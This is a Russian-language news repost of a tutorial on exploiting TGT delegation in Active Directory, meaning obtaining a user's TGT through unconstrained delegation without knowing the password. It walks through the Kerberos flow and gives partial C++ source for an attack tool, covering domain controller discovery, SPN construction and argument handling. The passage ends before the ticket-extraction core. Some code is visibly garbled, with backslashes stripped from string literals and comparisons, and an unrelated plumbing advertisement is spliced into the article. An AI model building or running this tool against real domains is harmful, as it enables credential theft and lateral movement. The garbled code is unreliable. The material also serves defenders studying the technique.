Категория > Новости > Важная делегация. Эксплуатируем TGT Delegation в Active Directory - «Новости»

Важная делегация. Эксплуатируем TGT Delegation в Active Directory - «Новости»


16-06-2023, 09:04. Автор: Murphy
В этой статье мы рас­смот­рим не очень популяр­ную, но край­не инте­рес­ную ата­ку, реали­зовав которую ата­кующий смо­жет получить TGT-билет поль­зовате­ля, даже не зная его пароля либо хеша. Хакеру дос­таточ­но лишь выпол­нить код от лица это­го поль­зовате­ля, а все осталь­ное сде­лает за нас KDC.

Active Directory пре­дос­тавля­ет мощ­ный набор фун­кций для делеги­рова­ния прав на оли­цет­ворение поль­зовате­лей кон­крет­ной служ­бе. Сущес­тву­ет три вида делеги­рова­ния: неог­раничен­ное, огра­ничен­ное и огра­ничен­ное на осно­ве ресур­сов. Про каж­дый уже рас­ска­зыва­лось мно­го раз, но какие еще воз­можнос­ти таит в себе механизм делеги­рова­ния?


Читайте также - Установка сантехники — это задача, с которой могут справиться только настоящие профессионалы. Адекватные цены на услугии квалифицированных сантехников! Актуальный прайс на услуги монтажа сантехники для Москвы и Московской области, подключение сантехники в Москве по доступным ценам.

Особенности неограниченного делегирования


При неог­раничен­ном делеги­рова­нии адми­нис­тра­тор при­ходит к служ­бе и говорит: «Теперь ты можешь оли­цет­ворять кли­ентов на дру­гих служ­бах». При­чем на абсо­лют­но любых служ­бах (отсю­да и наз­вание — неог­раничен­ное). Как это работа­ет?


Во‑пер­вых, кли­ент обра­щает­ся к служ­бе с неог­раничен­ным делеги­рова­нием. KDC видит, что эта служ­ба име­ет спе­циаль­ный флаг TRUSTED_FOR_DELEGATION (он сиг­нализи­рует о том, что у служ­бы нас­тро­ено неог­раничен­ное делеги­рова­ние), поэто­му воз­вра­щает кли­енту TGS на эту служ­бу, но со спе­циаль­ным фла­гом OK-AS-DELEGATE. Сле­дующим шагом кли­ент про­веря­ет этот самый флаг. Если он видит, что флаг уста­нов­лен, то понима­ет: служ­ба исполь­зует неог­раничен­ное делеги­рова­ние, поэто­му кли­ент вновь идет к KDC и зап­рашива­ет спе­циаль­ный FORWARDED TGT, который будет отправ­лен служ­бе.


Внут­ри это­го тикета будет лежать так­же сес­сион­ный ключ, что поз­волит служ­бе без проб­лем оли­цет­ворять кли­ента. Далее у кли­ента будет TGS-тикет на служ­бу, а так­же этот FORWARDED TGT, поэто­му пора идти к служ­бе. Генери­рует­ся зап­рос AP-REQ, который содер­жит этот самый FORWARDED TGT.


Важная делегация. Эксплуатируем TGT Delegation в Active Directory - «Новости»
FORWARDED TGT в AP-REQ

При­чем тикет будет находить­ся внут­ри так называ­емо­го аутен­тифика­тора. Он поз­воля­ет пре­дот­вра­тить воз­можность релей‑ата­ки на этап AP-REQ, так как аутен­тифика­тор зашиф­рован сес­сион­ным клю­чом, а так­же содер­жит (в слу­чае обыч­ного AP-REQ) имя прин­ципала кли­ента и тай­мстемп. Если же служ­ба нас­тро­ена с неог­раничен­ным делеги­рова­нием, то в зап­рос AP-REQ, который отпра­вит­ся служ­бе, попадет не толь­ко тай­мстемп и имя прин­ципала, но и FORWARDED TGT. При­чем этот самый FORWARDED TGT будет лежать внут­ри аутен­тифика­тора. Сес­сион­ный ключ для шиф­рования аутен­тифика­тора кли­ент получа­ет в отве­те TGS-REP, который идет до AP-REQ.


Та­ким обра­зом, у ата­кующе­го появ­ляет­ся воз­можность рас­шифро­вать аутен­тифика­тор из AP-REQ, а затем получить TGT-билет поль­зовате­ля, который ини­цииро­вал обра­щение к служ­бе с неог­раничен­ным делеги­рова­нием, ведь на руках у него будет зашиф­рован­ный блоб и ключ для его дешиф­ровки.


 

Особенности эксплуатации


Что­бы успешно получить TGT, нуж­но, что­бы выпол­нялись сле­дующие тре­бова­ния:



  • служ­ба, к которой обра­щает­ся кли­ент, нас­тро­ена на неог­раничен­ное делеги­рова­ние. Но здесь ничего страш­ного нет — все кон­трол­леры домена нас­тро­ены с неог­раничен­ным делеги­рова­нием;

  • у нас есть воз­можность выпол­нить код от лица кли­ента.


Ито­говый алго­ритм дос­таточ­но прос­той:



  1. Об­раща­емся к служ­бе с неог­раничен­ным делеги­рова­нием.

  2. По­луча­ем сге­нери­рован­ный AP-REQ.

  3. Из­вле­каем сес­сион­ный ключ для рас­шифров­ки аутен­тифика­тора.

  4. Рас­шифро­выва­ем аутен­тифика­тор.

  5. Из­вле­каем TGT.


 

Обнаружение нужной службы


Итак, сна­чала соз­даем файл Header.h, в котором ука­зыва­ем все нуж­ные заголо­воч­ные фай­лы, под­гру­жаемые либы, а так­же про­тотип одной‑единс­твен­ной фун­кции.


#pragma once
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <DsGetDC.h>
#include <NTSecAPI.h>
#include <iostream>
#include <locale.h>
#include <wincrypt.h>
#include <WinBase.h>
#define DEBUG
#pragma comment (lib, "Secur32.lib")
#pragma comment (lib, "NetApi32.lib")
#pragma comment(lib,"Crypt32.lib")
DWORD TgtDeleg(LPCWSTR);

Те­перь сто­ит пре­дус­мотреть два вари­анта работы инс­тру­мен­та: в пер­вом слу­чае служ­ба с неог­раничен­ным делеги­рова­нием будет обна­руже­на авто­мати­чес­ки (дос­таточ­но толь­ко име­ни домена), а во вто­ром ата­кующий собс­твен­норуч­но смо­жет ука­зать нуж­ный SPN.


По­луче­ние сес­сион­ного клю­ча и AP-REQ через ука­зание домена
Руч­ное ука­зание SPN

Глав­ная фун­кция инс­тру­мен­та не очень боль­шая. Сна­чала получа­ем спи­сок аргу­мен­тов, при­чем про­веря­ем: если их не три, то ата­кующий ука­зал что‑то не то, поэто­му вызыва­ем фун­кцию, которая рас­ска­жет, как исполь­зовать инс­тру­мент.



setlocale(LC_ALL, "");
ShowAwesomeBanner();
if (argc != 3) {ShowUsage();
}
....}void ShowUsage() {
std::wcout << L"tgtdeleg.exe <DOMAIN NAME>ntEx: tgtdeleg.exe cringe.lab" << std::endl;
std::wcout << L"tgtdeleg.exe <SPN With Unconstrained Deleg>ntEx: tgtdeleg.exe CIFS/dc01.cringe.lab" << std::endl;
exit(-1);}
Ин­форма­ция об исполь­зовании инс­тру­мен­та

Ес­ли же поль­зователь ниг­де не напор­тачил, то перехо­дим к пар­сингу аргу­мен­тов. В пер­вом слу­чае, ког­да ука­зыва­ется толь­ко имя домена, вызыва­ется фун­кция GetDomainController().


LPCWSTR targetname = NULL;
 switch (*argv[1]) {
 case '1':
targetname = GetDomainController(argv[2]);
break;
...

Эта фун­кция поз­воля­ет получить DNS-имя кон­трол­лера домена. Мы берем кон­трол­лер домена потому, что на нем по умол­чанию вклю­чено неог­раничен­ное делеги­рова­ние. Получить имя мож­но с помощью фун­кции DsGetDcName().


LPCWSTR GetDomainController(wchar_t* domainName) {
 PDOMAIN_CONTROLLER_INFO dcInfo = NULL;
 DWORD err = DsGetDcName(NULL, (LPCWSTR)domainName, NULL, NULL, DS_RETURN_DNS_NAME | DS_IP_REQUIRED, &dcInfo);
 if (err != ERROR_SUCCESS) {
std::wcout << L"[-] Cant Get DC Name, try use mode: " << err << std::endl;
exit(-1);
 }
 return dcInfo->DomainControllerName;
}

Пос­ле получе­ния име­ни уби­раем из него пер­вые два сим­вола сле­ша (так как фун­кция вер­нула dc01, а нам нуж­но прос­то dc01), а затем добав­ляем к получен­ному име­ни служ­бу CIFS. В ито­ге у нас появ­ляет­ся валид­ный SPN на служ­бу CIFS кон­трол­лера домена.


targetname = removeLeadingCharacters(targetname);
#ifdef DEBUG
 std::wcout << L"[+] Target: " << targetname << std::endl;
#endif
 LPCWSTR SPN = addCIFS(targetname);

Фун­кция removeLeadingCharacters прос­то чуть‑чуть сме­щает ука­затель на получен­ную стро­ку, что­бы пер­вые два сим­вола как бы про­пали.



LPCWSTR stringPtr = originalString;
if (stringPtr[0] == L'' && stringPtr[1] == L'') {stringPtr += 2;
}
return stringPtr;}

А фун­кция addCIFS() добав­ляет стро­ку CIFS/ к име­ни компь­юте­ра.


LPCWSTR addCIFS(LPCWSTR originalString) {
 size_t originalSize = wcslen(originalString);
 size_t cifsSize = 5;
 size_t newSize = originalSize + cifsSize + 1;
 LPWSTR newString = new WCHAR[newSize];
 wcscpy_s(newString, newSize, L"CIFS/");
 wcscat_s(newString, newSize, originalString);
 return newString;
}

Есть и вто­рой вари­ант — поль­зователь дол­жен самос­тоятель­но ука­зать SPN. Здесь никако­го пар­синга тог­да не пот­ребу­ется. Сра­зу переда­ем получен­ный SPN в фун­кцию TgtDeleg(), в которой реали­зова­на логика получе­ния сес­сион­ного клю­ча и бло­ба AP-REQ.


case '2':
if (TgtDeleg(argv[2]) == 0) {
std::wcout << L"[+] TgtDeleg Success" << std::endl;
return 0;
}
else {
std::wcout << L"[-] TgtDeleg Error" << std::endl;
return -1;
}
break;
 default:
std::wcout << L"[-] No such mode" << std::endl;
ShowUsage();
return 0;
 }
 

Подключение к службе


Пе­рехо­дим в сер­дце прог­раммы — в фун­кцию TgtDeleg(). Она при­нима­ет один‑единс­твен­ный аргу­мент — это SPN целевой служ­бы. Затем начина­ется, как кто‑то очень инте­рес­но выразил­ся, «магия SSPI». В дей­стви­тель­нос­ти никакой магии нет. SSPI мож­но счи­тать эда­кой апиш­кой, через которую раз­работ­чики могут свя­зывать­ся с пос­тавщи­ками безопас­ности (Security Packages). Воз­можнос­ти SSPI очень боль­шие: шиф­рование, под­пись, выс­тра­ива­ние кон­тек­ста. Имен­но фун­кции SSPI поз­волят нам сымити­ровать обра­щение к служ­бе с неог­раничен­ным делеги­рова­нием.



Перейти обратно к новости